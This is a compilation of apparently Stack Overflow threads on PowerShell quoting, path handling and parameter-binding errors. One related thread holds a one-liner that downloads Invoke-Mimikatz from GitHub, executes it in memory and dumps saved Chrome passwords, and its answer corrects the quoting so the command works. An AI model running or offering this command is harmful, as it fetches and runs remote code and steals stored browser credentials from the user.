Changing directory in PowerShell to folder name containing Special Chars - powershell

I am currently at Users folder and want to get to Dockers folder.
I am not perform this due to the \OneDrive - xxxxx, zzz\
cd C:\Users\anmolparida\OneDrive - xxxxx, zzz\Work\Dockers\
Error
PS C:\Users> cd C:\Users\anmolparida\OneDrive - xxxxx, zzz\Work\Dockers\
Set-Location : A positional parameter cannot be found that accepts argument '-'.
At line:1 char:1
+ cd C:\Users\anmolparida\OneDrive - xxxxx, zzz\Work\Dockers\
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidArgument: (:) [Set-Location], ParameterBindingException
+ FullyQualifiedErrorId : PositionalParameterNotFound,Microsoft.PowerShell.Commands.SetLocationCommand

cd 'C:\Users\anmolparida\OneDrive - xxxxx, zzz\Work\Dockers\'

Enclose it with single quotes:
cd 'C:\Users\anmolparida\OneDrive - xxxxx, zzz\Work\Dockers\'
Double quotes should work, too:
cd "C:\Users\anmolparida\OneDrive - xxxxx, zzz\Work\Dockers\"
If you don't use double quotes, then powershell takes them as separate arguments, so Set-Location fails, but when you quote regarded as value for single argument, -Path.

Related

Mimikatz - problem with handling spaces in the file path Dpapi::chrome [duplicate]

This question already has an answer here:
Powershell in Jenkins escaping characters for path
(1 answer)
Closed 1 year ago.
Why in mimikatz/kiwi cannot process first space when opening chrome database "Login Data" ?
Example:
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command "dpapi::chrome /in:\"%localappdata%\Google\Chrome\User Data\Default\Login Data\""
Error:
Invoke-Mimikatz : A positional parameter cannot be found that accepts argument 'Data\Default\Login'.
At line:1 char:146
+ ... katz.ps1'); Invoke-Mimikatz -Command "dpapi::chrome /in:\"%localappda ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidArgument: (:) [Invoke-Mimikatz], ParameterBindingException
+ FullyQualifiedErrorId : PositionalParameterNotFound,Invoke-Mimikatz
enter code here
I will be very happy if someone helps, I have already tried all.
You need to escape the " inside the string argument by doubling them ("") or prefixing them with a single ` (PowerShell doesn't care about \):
"dpapi::chrome /in:""%localappdata%\Google\Chrome\User Data\Default\Login Data"""
# or
"dpapi::chrome /in:`"%localappdata%\Google\Chrome\User Data\Default\Login Data`""

Concatenate network path + variable (name of the folder)

How can I concatenate this network path with this variable entered by the user (it will be a full network path)?
So the user type the new folder name, for example: Folder-123 (will be stored in the variable $pjname)
Copy-Item "\\SERVER\Work_3rd\R Drive Structure\Project No\MDCXXXX" -Destination "\\SERVER\Work_3rd" -Recurse
write-host "Folder has been created. Press any key to continue..."
[void][System.Console]::ReadKey($true)
Write-Host "Please enter the project name: "
$pjname = Read-Host
Write-Output "New Folder will be: $pjname"
Rename-Item -Path "\\SERVER\Work_3rd\MDCXXXX" -NewName $pjname
write-host "Folder has been renamed. Press any key to continue..."
[void][System.Console]::ReadKey($true)
$pathToTemplate = '\\SERVER\Work_3rd\R Drive Structure\Project No\MDCXXXX'
$rootPath2 = '\\SERVER\Work_3rd\'
$rootPath = -join ($rootPath2, $pjname) # this concatenates the new project
name on to the root folder path**
# $rootPath += $pjname # this concatenates the new project name on to the
root folder path
If(Test-Path $rootPath)
{
$CurrentACL = (Get-Item $pathToTemplate).GetAccessControl('Access')
$CurrentACL | Set-Acl -Path $rootPath
}
This new folder stored in $pjname should have a network path like \\\SERVER\Work-3rd\ + FOLDER NAME. For example \\\SERVER\Word-3rd\Folder-123
The PowerShell is not finding the final path of the new folder so the permission is not being applied on it.
I'm trying in a test area and getting this problem below:
Folder has been renamed. Press any key to continue...
Get-Acl : Cannot find path '\\SERVER\test-area\Test-123' because it does not exist.
At C:\Users\felipe.sa\Desktop\Script\NewProjectFolder\NewProject-WP_-
_ProductionV3.ps1:279 char:8
+ $acl = Get-Acl $NewNetworkPath
+ ~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (:) [Get-Acl], ItemNotFoundException
+ FullyQualifiedErrorId :
GetAcl_PathNotFound_Exception,Microsoft.PowerShell.Commands.GetAclCommand
You cannot call a method on a null-valued expression.
At C:\Users\felipe.sa\Desktop\Script\NewProjectFolder\NewProject-WP_-
_ProductionV3.ps1:282 char:1
+ $acl.SetAccessRule($rule)
+ ~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
+ FullyQualifiedErrorId : InvokeMethodOnNull
Are you trying to create a new directory in that share path, or rename a directory? It looks like you're trying to rename a directory.
My guess it isn't working because you are missing the trailing "\" in your path. Here is some sample code that adds a user supplied variable to a network path:
$MyRootPath = "\\SomeServer\Dir1\Dir2\"
Write-Host "Enter Dir Name"
$myAnswer = Read-Host
I typed "hello" when prompted for new directory..
$finalAnswer = $myAnswer.Trim()
$NewNetworkPath = ("{0}{1}" -f $MyRootPath, $finalAnswer)
$NewNetworkPath
returns:
\\SomeServer\Dir1\Dir2\hello
Whenever you are concatenating paths, escpecially those supplied by end users, stick to a utility that can do most of the heavy lifting. Use the combine method as string concatenation has several pitfalls that have to be needlessly mitigated.
[io.path]::combine('\\server\share', 'newfolder')
The combine method will take the path parts, as an array, and build a proper path. Note this does not validate if the path exists. It can deal with trailing path separators well. These next commands yield the same result.
[io.path]::combine('\\server\share\', 'newfolder')
[io.path]::combine('\\server\share', 'newfolder')
Beware leading path separators though:
If the one of the subsequent paths is an absolute path, then the combine operation resets starting with that absolute path, discarding all previous combined paths.
Thanks Matt & oze4! A weird problem happened now. I used the solution of oze4 and sometimes it works and sometimes not. Would it be the string entered by the user?
When it worked the folder name was 'MDX1111 - XXXX Xxxxxxx Xxxxxxxxx' - 32 characters. I ran the code again using the folder name 'MDX1112 - Xxxxxx Xxxxxxx Xxxxxxxxxx' - 35 characters and got this error below:
Get-Acl : Cannot find path '\\SERVER\Work_Block_A\MDX1112 - Xxxxxx Xxxxxxx
Xxxxxxxxxx' because it does not
exist.
At C:\Users\felipe.sa\Desktop\Script\NewProjectFolder\NewProject-WP_-
_ProductionV1.ps1:125 char:8
+ $acl = Get-Acl $NewNetworkPath
+ ~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (:) [Get-Acl], ItemNotFoundException
+ FullyQualifiedErrorId :
GetAcl_PathNotFound_Exception,Microsoft.PowerShell.Commands.GetAclCommand
You cannot call a method on a null-valued expression.
At C:\Users\felipe.sa\Desktop\Script\NewProjectFolder\NewProject-WP_-
_ProductionV1.ps1:128 char:1
+ $acl.SetAccessRule($rule)
+ ~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
+ FullyQualifiedErrorId : InvokeMethodOnNull
Any thoughts?
Thank you.

PowerShell command cannot parse string literal and finds unknown positional parameter

I am trying to run a PowerShell command (DesktopAppConverter) and I'm getting an error saying it is finding an unknown positional parameter.
DesktopAppConverter -AppInstallPath 'C:\Program Files (x86)\Search Deflector' -Destination '.\AppxPackage\' -Installer '.\ClassicInstaller\SearchDeflector-Installer.exe' -InstallerArguments '/COMPONENTS="main"','/VERYSILENT','/DIR="C:\Program Files (x86)\Search Deflector"' -MakeAppx -PackageName '3945spikespaz.SearchDeflector' -Publisher 'CN=69331A0A-1F10-4A10-8A28-3627A09E25FD' -Version '0.0.3.0' -AppId 'SearchDeflector' -AppDisplayName 'Search Deflector' -AppDescription 'A small program that forwards searches from Cortana to your preferred browser and search engine.' -PackagePublisherDisplayName 'spikespaz' -PackageArch 'x86' -Sign -Verbose
I also tried replacing the single quotes with double quotes and escaping the quotes in the InstallerArguments array with backticks. No dice.
C:\Program Files\WindowsApps\Microsoft.DesktopAppConverter_2.1.4.0_x64__8wekyb3d8bbwe\DesktopAppConverter.ps1 : A positional parameter cannot be found that accepts
argument '/VERYSILENT'.
At line:1 char:1
+ &'C:\Program Files\WindowsApps\Microsoft.DesktopAppConverter_2.1.4.0_ ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidArgument: (:) [DesktopAppConverter.ps1], ParameterBindingException
+ FullyQualifiedErrorId : PositionalParameterNotFound,DesktopAppConverter.ps1
My guess is that it's splitting the parameters at the vert first space in the AppInstallPath string.

how to execute an exe with variable value for path and arguments

I'm trying to execute in my powershell script the command below :
D:\Apps\Documentum\product\7.3\bin\idql.exe -udmadmin -pPassword dctm04 -RC:\temp\documentum\session_list.txt -w20 > C:\temp\documentum\session_logstash.txt
In my powershell script I do that:
$DOCBASE="dctm04"
$USER_DOCBASE="dmadmin"
$USER_PWD="Password01"
$IDQL_PATH="D:\Apps\Documentum\product\7.3\bin"
$QRY_SESSIONS="C:\temp\documentum\session_list.txt"
$QRY_LOG_SESSIONS="C:\temp\documentum\session_logstash.txt"
$IDQL_PATH\idql.exe -u$USER_DOCBASE -p$USER_PWD $DOCBASE -R$QRY_SESSIONS -w20 > $QRY_LOG_SESSIONS
But it doesn't work properly, I receive the error below :
At C:\temp\documentum\Generate.ps1:49 char:13
+ $IDQL_PATH\idql.exe -u$USER_DOCBASE -p$USER_PWD $DOCBASE -R$QRY_SESSIONS -w20 ...
+ ~~~~~~~~~
Unexpected token '\idql.exe' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParseException
+ FullyQualifiedErrorId : UnexpectedToken
I think, i don't use variable properly on my command.
Please note my powershell version is :
PS C:\temp\documentum> $PSVersionTable.PSVersion
Major Minor Build Revision
----- ----- ----- --------
4 0 -1 -1
could you give me the solution in order to solve my problem
The reason is that combining a string to executable name makes no sense to Powershell's parsing rules. Use the call operator & or Invoke-Item. Like so,
$ssms="C:\Program Files (x86)\Microsoft SQL Server\140\Tools\Binn\ManagementStudio"
PS C:\> $ssms\ssms.exe
At line:1 char:6
+ $ssms\ssms.exe
+ ~~~~~~~~~
Unexpected token '\ssms.exe' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : UnexpectedToken
C:\>& $ssms\ssms.exe
# Launches SSMS succesfully
C:\>Invoke-Item $ssms\ssms.exe
# Launches SSMS succesfully
There's nice a document about running executables.

How to execute PowerShell Net MessageBox in cmd/batch

I have a batch file with lot of stuff. I there is one Alert Window with info for user.
On Windows Pro I'm using Msg command for it and it works fine.
On Windows Home there is no Msg, so I got the idea to use PowerShell instead:
[System.Windows.Forms.MessageBox]::Show("my text")
which works fine in PowerShell.
-However, when I try to use it in batch or execute it directly in Cmd, I only get the text:
C:\Windows\System32>powershell {[System.Windows.Forms.MessageBox]::Show("\""my text"\"")}
[System.Windows.Forms.MessageBox]::Show("my text")
Or I get errors:
C:\Windows\System32>powershell -command [System.Windows.Forms.MessageBox]::Show("my text")
At line:1 char:41
+ [System.Windows.Forms.MessageBox]::Show(my text)
+ ~
Missing ')' in method call.
At line:1 char:41
+ [System.Windows.Forms.MessageBox]::Show(my text)
+ ~~
Unexpected token 'my' in expression or statement.
At line:1 char:48
+ [System.Windows.Forms.MessageBox]::Show(my text)
+ ~
Unexpected token ')' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : MissingEndParenthesisInMethodCall
or
C:\Windows\System32>powershell -command "& {[System.Windows.Forms.MessageBox]::Show('my text')}"
Unable to find type [System.Windows.Forms.MessageBox].
At line:1 char:4
+ & {[System.Windows.Forms.MessageBox]::Show('my text')}
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (System.Windows.Forms.MessageBox:TypeName) [],
RuntimeException
+ FullyQualifiedErrorId : TypeNotFound
What should I do to get it to work?
(without rewriting the whole script to PowerShell, that is)
As TheMadTechnician stated, you may need to load it first.
This is effectively the same answer as theirs just over a couple of lines:
#Echo Off
PowerShell -Command^
"[Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms')|Out-Null;"^
"[System.Windows.Forms.MessageBox]::Show(\"my text\")"
Pause
…and whilst double quotes around my text is not necessary, I've used them to show you the escapes.
You need to load the type before you can invoke it. You can do this:
powershell -command "[reflection.assembly]::LoadWithPartialName('System.Windows.Forms')|out-null;[windows.forms.messagebox]::Show('my message')"